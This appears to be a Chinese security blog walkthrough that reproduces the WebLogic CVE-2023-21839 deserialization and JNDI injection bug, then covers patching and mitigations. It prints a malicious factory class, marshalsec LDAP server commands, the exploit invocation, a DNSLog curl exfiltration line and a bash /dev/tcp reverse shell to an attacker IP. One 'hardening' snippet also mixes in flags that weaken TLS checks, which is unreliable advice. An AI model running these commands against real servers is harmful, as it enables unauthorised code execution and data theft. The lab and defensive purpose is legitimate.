CVE-2023-21839漏洞深度剖析:WebLogic反序列化与JNDI注入实战复现

发布时间:2026/6/24 11:10:37
CVE-2023-21839漏洞深度剖析:WebLogic反序列化与JNDI注入实战复现 1. 项目概述一次对CVE-2023-21839的深度剖析与实战复现最近在安全圈里CVE-2023-21839这个编号被反复提及它直指Oracle WebLogic Server的一个高危远程代码执行漏洞。对于从事应用安全、渗透测试或者负责企业中间件运维的朋友来说这绝对是一个需要立刻拉响警报并彻底搞清楚的问题。WebLogic作为承载大量核心企业级应用的关键中间件一旦出现RCE漏洞其影响范围之广、潜在危害之大不言而喻。我花了些时间从漏洞公告、补丁对比到环境搭建、漏洞利用完整地走了一遍复现流程。这篇文章我就以一个一线安全研究者的视角带你深入这个漏洞的“腹地”不仅告诉你它是怎么被触发的更重要的是拆解其背后的Java反序列化与JNDI注入的“组合拳”原理并分享在复现过程中那些官方通告里不会写的细节和踩过的坑。无论你是想验证自家系统是否安全还是学习漏洞分析与利用技术这篇近万字的实操记录都能给你提供一份可靠的“作战地图”。简单来说CVE-2023-21839允许未经身份验证的攻击者通过T3/IIOP协议网络访问WebLogic Server构造特定的请求最终在目标服务器上执行任意代码。其CVSS评分高达7.5影响版本包括12.2.1.3.0, 12.2.1.4.0以及14.1.1.0.0。漏洞的核心利用链涉及WebLogic对某些可序列化对象的过滤缺陷结合JNDI查找机制实现远程类加载和命令执行。下面我们就从环境准备开始一步步揭开它的面纱。2. 漏洞原理深度解析从反序列化到JNDI注入的致命链路要理解CVE-2023-21839不能孤立地看它实际上是多个安全机制被绕过后形成的“完美风暴”。我们需要拆解两个关键技术点不安全的反序列化与JNDI注入。2.1 不安全的反序列化漏洞的起点WebLogic的T3协议是用于集群间通信的专有协议性能很高但历史上也是反序列化漏洞的重灾区。T3协议在传输对象时会对其进行序列化和反序列化。关键在于WebLogic在反序列化过程中有一个用于过滤危险类的机制通常我们称之为“黑名单”或“反序列化过滤器”。这个过滤器的目的是阻止像java.rmi.registry.Registry、javax.management.remote.rmi.RMIConnection等已知的危险类被反序列化。CVE-2023-21839的突破口在于攻击者找到了一种方法可以绕过或欺骗这个过滤器。具体来说漏洞利用了WebLogic中某个特定组件在处理反序列化数据时的一个逻辑缺陷。攻击者可以构造一个特殊的对象包装链使得在反序列化的某个阶段过滤器的检查被“绕开”或“延迟”从而让一个恶意的、被精心设计的对象成功在WebLogic的JVM中被重建。这个恶意对象本身可能不直接包含可执行的代码但它包含一个“触发器”——一个指向外部JNDI服务的引用。这就引出了漏洞链的下一环。注意这里说的“绕开”不是指黑名单漏了某个类更多可能是在对象解析的上下文或时机上出现了问题。例如可能在解析对象图Object Graph的某个嵌套属性时过滤检查没有深入到该层级或者某个封装类Wrapper在传递过程中被“信任”了。2.2 JNDI注入达成代码执行的“临门一脚”JNDIJava Naming and Directory Interface是Java提供的一个统一接口用于访问各种命名和目录服务比如LDAP、RMI、CORBA等。JNDI注入漏洞在近年来尤其是Log4Shell之后变得臭名昭著。其核心危害在于javax.naming.InitialContext.lookup(String name)这个方法。如果name参数被攻击者控制并且指向一个恶意的RMI或LDAP服务那么Java在解析这个地址时可能会从远程服务器动态加载并实例化一个类。在CVE-2023-21839的利用链中成功反序列化出来的恶意对象其内部就包含了一个受控的JNDI地址例如ldap://attacker-controlled-server:1389/Exploit。当WebLogic的某些代码逻辑可能是为了完成某个服务查找触发了对这个对象中JNDI地址的lookup操作时噩梦就开始了。连接恶意服务器WebLogic服务器会向攻击者控制的LDAP服务器发起请求。获取恶意Reference攻击者的LDAP服务器会返回一个Reference对象其中指定了一个工厂类Factory Class的地址这个地址通常指向另一个HTTP服务器上的恶意Java类文件.class。动态加载与实例化WebLogic的JVM会从指定的HTTP地址下载这个.class文件然后加载它并实例化这个工厂类。执行任意代码在工厂类的构造函数或getObjectInstance方法中攻击者可以写入任意Java代码例如Runtime.getRuntime().exec(“calc”)或反弹Shell的命令。至此一个未经身份验证的远程代码执行就完成了。整个流程可以概括为构造特殊序列化流绕过过滤 - 反序列化生成携带恶意JNDI地址的对象 - 触发JNDI查找 - 从远程加载恶意类 - 执行任意代码。3. 复现环境搭建与关键工具准备纸上得来终觉浅绝知此事要躬行。要真正理解漏洞亲手复现一遍是最好的方式。我们需要搭建一个包含漏洞的WebLogic环境并准备攻击所需的工具链。3.1 漏洞靶场环境搭建为了安全且便捷地复现强烈建议在隔离的虚拟机或Docker环境中进行。这里我使用Docker因为它能提供干净、可重复的环境。1. 获取漏洞版本WebLogic镜像虽然Oracle官方不直接提供带漏洞的Docker镜像但安全社区常有研究者构建。我们可以使用一个基于Oracle官方12.2.1.3.0版本修改的镜像或者使用Vulhub这类漏洞靶场项目。这里以手动思路为例强调理解过程假设我们有一个WebLogic 12.2.1.3.0的安装包fmw_12.2.1.3.0_wls.jar。Dockerfile的核心步骤包括使用一个基础镜像如oraclelinux:7-slim。安装必要的Java环境JDK 8。以静默模式安装WebLogic创建一个域Domain。启动管理服务器AdminServer。一个简化的Dockerfile关键部分示例如下FROM oraclelinux:7-slim # 安装JDK RUN yum install -y java-1.8.0-openjdk-devel # 创建用户和目录 RUN useradd -m -s /bin/bash oracle USER oracle WORKDIR /home/oracle # 拷贝WebLogic安装包和响应文件 COPY --chownoracle:oracle fmw_12.2.1.3.0_wls.jar /home/oracle/ COPY --chownoracle:oracle oraInst.loc /home/oracle/ COPY --chownoracle:oracle wls.rsp /home/oracle/ # 执行安装 RUN java -jar fmw_12.2.1.3.0_wls.jar -silent -responseFile /home/oracle/wls.rsp -invPtrLoc /home/oracle/oraInst.loc # 创建域 WORKDIR /home/oracle/Oracle/Middleware/Oracle_Home/wlserver/common/bin RUN ./config.sh -modeconsole -silent_xmlTRUE # 暴露端口T3默认7001 Admin Console默认7001 EXPOSE 7001 # 启动脚本 CMD [/home/oracle/Oracle/Middleware/Oracle_Home/user_projects/domains/base_domain/startWebLogic.sh]2. 使用现成靶场推荐对于快速复现更推荐使用集成度高的靶场。例如可以搜索并运行专为CVE-2023-21839搭建的Docker环境。通常一条命令即可启动docker run -d -p 7001:7001 -p 8453:8453 --name weblogic-cve-2023-21839 [TARGET_IMAGE_NAME]启动后访问http://your-host-ip:7001/console应该能看到WebLogic管理控制台的登录页面这证明环境已就绪。实操心得在搭建环境时最容易卡住的地方是WebLogic域的创建和启动。确保内存分配足够建议Docker容器内存不少于2GB并且startWebLogic.sh脚本中的Java参数配置正确。如果启动失败务必查看域目录下的日志文件base_domain/servers/AdminServer/logs/AdminServer.log那里有最详细的错误信息。3.2 攻击工具链准备在攻击侧我们需要三个核心工具漏洞利用POC代码这是一个Java程序负责生成能够触发漏洞的恶意序列化数据包并通过T3协议发送给目标WebLogic。通常安全研究人员会在漏洞公开后发布相关的POC。我们需要获取并编译它。恶意JNDI服务器用于托管恶意的LDAP服务并响应WebLogic的查询返回指向恶意工厂类的Reference。最常用的是marshalsec工具。HTTP服务器用于托管恶意的工厂类.class文件。可以用Python简单搭建python3 -m http.server 8000。工具准备步骤a) 编译POC利用程序假设你拿到了一个CVE-2023-21839.java的POC文件。javac -cp “.:weblogic.jar” CVE-2023-21839.java注意编译时需要引入WebLogic的客户端JAR包如wlfullclient.jar或weblogic.jar因为POC中使用了WebLogic特有的T3协议相关类。这个JAR包可以从你的WebLogic安装目录$WL_HOME/server/lib下找到并拷贝出来。b) 准备marshalsec从GitHub克隆并编译marshalsecgit clone https://github.com/mbechler/marshalsec.git cd marshalsec mvn clean package -DskipTests编译成功后在target目录下会生成marshalsec-0.0.3-SNAPSHOT-all.jar。c) 编写恶意工厂类创建一个简单的Java类用于在目标服务器上执行命令。例如创建一个Exploit.javaimport javax.naming.Context; import javax.naming.Name; import java.util.Hashtable; public class Exploit { public Exploit() { try { // 这里写入要执行的命令例如打开计算器Windows或反弹Shell Runtime.getRuntime().exec(new String[]{“/bin/bash”, “-c”, “touch /tmp/pwned_success”}); } catch (Exception e) { e.printStackTrace(); } } }编译它javac Exploit.java。这将生成Exploit.class文件将其放在HTTP服务器根目录下。4. 漏洞复现实操全流程记录环境工具齐备现在开始攻击复现。请严格按照顺序操作并观察每一步的输出。4.1 第一步启动恶意服务攻击机假设你的攻击机IP是192.168.1.100。1. 启动HTTP服务器托管Exploit.class文件。# 在Exploit.class所在目录执行 python3 -m http.server 80002. 启动恶意LDAP/JNDI服务器使用marshalsec。它监听在1389端口并指定当有查询时指向我们的HTTP服务器上的恶意类。java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer “http://192.168.1.100:8000/#Exploit” 1389这条命令的意思是启动一个LDAP引用服务器当收到查询时返回一个指向http://192.168.1.100:8000/Exploit.class的Reference。4.2 第二步执行POC攻击程序运行之前编译好的POC程序指向目标WebLogic服务器假设IP为192.168.1.200端口7001和我们控制的LDAP服务器地址。java -cp “.:weblogic.jar” CVE-2023-21839 192.168.1.200 7001 ldap://192.168.1.100:1389/Exploit执行过程解析POC程序会与192.168.1.200:7001建立T3协议连接。程序会构造一个特殊的序列化对象链。这个链里包含了一个JNDI查找地址ldap://192.168.1.100:1389/Exploit该地址被精心包装以绕过WebLogic的反序列化过滤器。将这个恶意序列化数据流通过T3协议发送给WebLogic Server。WebLogic Server收到数据后开始反序列化。由于漏洞存在过滤检查被绕过恶意对象被成功还原。在反序列化后的对象处理过程中WebLogic的某些代码触发了对对象内JNDI地址的lookup()操作。4.3 第三步观察结果与验证此时切换回你的终端观察窗口在marshalsec的终端你应该能看到来自目标IP (192.168.1.200) 的连接和查询请求日志。这证明WebLogic服务器确实向你的LDAP服务器发起了查询。在Python HTTP服务器的终端你应该能看到一条访问日志请求GET /Exploit.class。这证明WebLogic服务器从你的HTTP服务器下载了恶意类文件。在目标WebLogic服务器上验证命令是否执行。我们之前让Exploit.class执行了touch /tmp/pwned_success。登录到WebLogic的Docker容器或服务器中检查docker exec -it weblogic-cve-2023-21839 ls -la /tmp/pwned_success如果文件被成功创建则证明远程代码执行成功至此一次完整的CVE-2023-21839漏洞复现就完成了。从网络发送一个数据包到在远端的Java应用服务器上创建文件整个链条清晰可见。5. 漏洞修复方案与防护建议复现漏洞是为了更好地防御。对于企业和安全运维人员必须立即采取行动。5.1 官方补丁升级最根本的解决方案是安装Oracle官方发布的安全补丁。针对CVE-2023-21839Oracle在2023年1月、4月等关键补丁更新CPU中提供了修复。你需要根据你的WebLogic具体版本下载并安装对应的补丁集Patch Set Update或临时补丁One-Off Patch。操作步骤建议确定版本登录WebLogic控制台在“环境”-“服务器”中查看版本信息或使用java weblogic.version命令。访问Oracle支持前往My Oracle Support根据你的版本搜索关于CVE-2023-21839的公告和补丁。备份在打补丁前务必对整个WebLogic安装目录、域目录以及应用进行完整备份。应用补丁按照Oracle提供的补丁说明文档README进行操作通常使用OPatch工具。重启验证应用补丁后必须重启WebLogic管理服务器和所有受管服务器并验证功能是否正常。5.2 临时缓解措施如果因特殊情况无法立即升级必须采取严格的临时缓解措施这些措施能有效阻断公开利用链限制T3/T3S协议访问最关键 WebLogic的T3协议是漏洞利用的主要入口。可以通过在防火墙或WebLogic自身配置中限制只有可信的IP地址才能访问T3端口默认7001。前端防火墙/安全组配置规则仅允许管理终端和必要集群节点访问7001端口。WebLogic网络通道过滤可以配置weblogic.security.net.ConnectionFilter来过滤T3连接。编辑$DOMAIN_HOME/config/config.xml在domain标签下添加connection-filterweblogic.security.net.ConnectionFilterImpl/connection-filter然后在$DOMAIN_HOME下创建filter文件夹及ConnectionFilter规则文件定义允许的IP。彻底禁用T3影响集群如果业务不需要T3协议例如没有WebLogic集群可以考虑通过启动参数彻底禁用。此操作需谨慎评估因为它会破坏集群通信。在startWebLogic.sh的JAVA_OPTIONS中添加-Dweblogic.security.SSL.ignoreHostnameVerificationtrue -Dweblogic.security.allowCryptoJDefaultJCEVerificationtrue -Dweblogic.security.SSL.minimumProtocolVersionTLSv1.2 -Dweblogic.security.SSL.enforceConstraintsOff -Dweblogic.security.SSL.trustedCAKeyStore… # 这些是其他安全参数禁用T3核心是下面这行 -Dweblogic.security.DisableT3Protocoltrue限制IIOP协议访问该漏洞也可能通过IIOP协议利用。同样在防火墙限制IIOP端口默认7001与HTTP相同但协议不同的访问或考虑禁用不必要的IIOP服务。强化JNDI环境在JVM级别设置属性禁止从远程地址加载类这是防御JNDI注入的通用方法。在WebLogic的启动脚本startWebLogic.sh中的JAVA_OPTIONS里添加-Dcom.sun.jndi.ldap.object.trustURLCodebasefalse -Dcom.sun.jndi.rmi.object.trustURLCodebasefalse对于高版本JDK8u191/11.0.1/7u201/6u211之后这些默认已是false但显式设置更安全。5.3 长期安全加固建议最小化网络暴露WebLogic管理控制台和生产应用端口不应直接暴露在互联网。务必部署在防火墙或安全网关之后并通过VPN或跳板机进行管理。定期更新与漏洞扫描订阅Oracle关键补丁更新CPU公告建立定期更新机制。同时使用专业的漏洞扫描工具或服务定期对中间件进行安全评估。安全开发与配置在应用开发层面避免使用不安全的反序列化操作。在运维层面遵循安全配置基线禁用不必要的服务和功能。纵深防御部署Web应用防火墙WAF配置针对反序列化和JNDI注入攻击的规则。虽然不能完全依赖但可以增加攻击难度。6. 复现过程中的常见问题与排查实录在实际动手复现时你大概率会遇到一些问题。下面是我在多次复现中遇到的典型问题及解决方法这可能是比漏洞原理本身更有价值的经验。6.1 环境启动失败或服务异常问题现象Docker容器启动后WebLogic服务没有正常启动无法访问控制台。查看日志这是第一步也是最重要的一步。执行docker logs -f weblogic-cve-2023-21839查看实时日志或者进入容器查看$DOMAIN_HOME/servers/AdminServer/logs/AdminServer.log。常见原因1内存不足。WebLogic对内存有要求。在Docker运行命令或Docker Compose文件中增加内存限制docker run -m 2g ...。或在startWebLogic.sh中调整-Xmx、-Xms参数。常见原因2端口冲突。确保主机上的7001端口没有被其他程序占用。常见原因3域创建错误。如果使用自定义脚本创建域可能配置文件有误。尝试使用WebLogic的配置向导config.sh以图形化或控制台模式重新创建域。6.2 POC编译或执行报错问题现象javac编译POC时提示找不到类或者java执行时抛出ClassNotFoundException或NoClassDefFoundError。缺少WebLogic客户端JAR这是最常见的问题。确保编译和执行的classpath中包含了wlfullclient.jar。这个jar需要从WebLogic安装服务器生成。进入WebLogic安装目录cd $WL_HOME/server/lib执行java -jar wljarbuilder.jar。这会在当前目录生成wlfullclient.jar。将其拷贝到你的攻击机。JDK版本问题确保攻击机编译和运行POC使用的JDK版本与目标WebLogic的JDK版本兼容。通常使用JDK 8。POC代码依赖有些POC可能依赖其他第三方库如commons-collections等需要一并加入classpath。6.3 攻击触发后无反应问题现象执行POC后marshalsec和HTTP服务器都没有收到任何连接请求目标服务器上也没有执行命令的痕迹。网络连通性首先用telnet 192.168.1.200 7001或nc -zv 192.168.1.200 7001检查攻击机到目标WebLogic的7001端口是否通畅。T3协议过滤目标服务器可能已经配置了连接过滤器或禁用了T3协议。尝试用其他工具如weblogic-t3-exploit-tool探测T3服务是否存活。POC适用性确认你使用的POC是否完全适用于目标WebLogic的精确版本如12.2.1.3.0的某个小版本。有时细微的版本差异会导致利用失败。JNDI利用高版本JDK限制如果目标服务器使用的是JDK 8u191、11.0.1、7u201、6u211之后的高版本默认设置下com.sun.jndi.ldap.object.trustURLCodebase为false会阻止从远程LDAP服务加载工厂类。此时标准的JNDI注入利用会失效。CVE-2023-21839在某些利用链中可能依赖其他绕过方式或者需要结合其他漏洞。这是复现失败的一个关键原因。确保你的靶场环境使用的是受影响的、且未打补丁的JDK版本如JDK 8u181或更早。6.4 收到LDAP查询但未下载Class文件问题现象marshalsec日志显示收到了LDAP查询但Python HTTP服务器没有收到GET /Exploit.class的请求。LDAP响应错误检查marshalsec启动命令中的URL格式是否正确。http://192.168.1.100:8000/#Exploit中的#号是关键它指示这是一个ReferenceExploit是工厂类名。错误的格式会导致WebLogic客户端解析失败。网络策略或防火墙确保目标WebLogic服务器可以访问攻击机的8000端口HTTP。在目标服务器上尝试curl http://192.168.1.100:8000/Exploit.class看是否能下载。Java安全策略目标服务器的JVM可能设置了严格的安全策略管理器SecurityManager阻止了网络访问或类加载。在测试环境中可以暂时放宽策略但生产环境绝对禁止。6.5 命令执行成功但无显式回显问题现象在目标服务器上发现文件创建成功但攻击者无法直接看到命令执行结果如whoami的输出。这是无回显RCE的典型特征很多RCE漏洞利用特别是通过反序列化触发的执行命令是“盲打”没有直接的回显通道。验证技巧使用DNSLog或HTTP请求外带让执行的命令触发一个网络请求将结果带出。例如执行curl http://your-dnslog-platform/$(whoami)然后在DNSLog平台查看接收到的子域名记录。写入文件后读取就像我们做的touch /tmp/pwned_success或者将命令输出重定向到Web应用目录下的一个文件然后通过Web访问该文件。例如whoami /path/to/weblogic/app/test.txt。反弹Shell最有效的方式。让目标服务器主动连接攻击机的一个监听端口。例如在攻击机用nc -lvnp 4444监听在Exploit类中执行反弹Shell命令如bash -i /dev/tcp/192.168.1.100/4444 01。注意这需要目标服务器环境支持相应的命令和网络连通性。在整个复现过程中耐心和细致的日志分析是关键。每一个环节都可能出错从环境配置、网络联通、工具版本到利用链本身都需要逐一验证。我个人的习惯是每完成一步就用最简单的方法验证这一步是否成功比如用telnet测端口用curl测HTTP服务将复杂问题分解能极大地提高排错效率。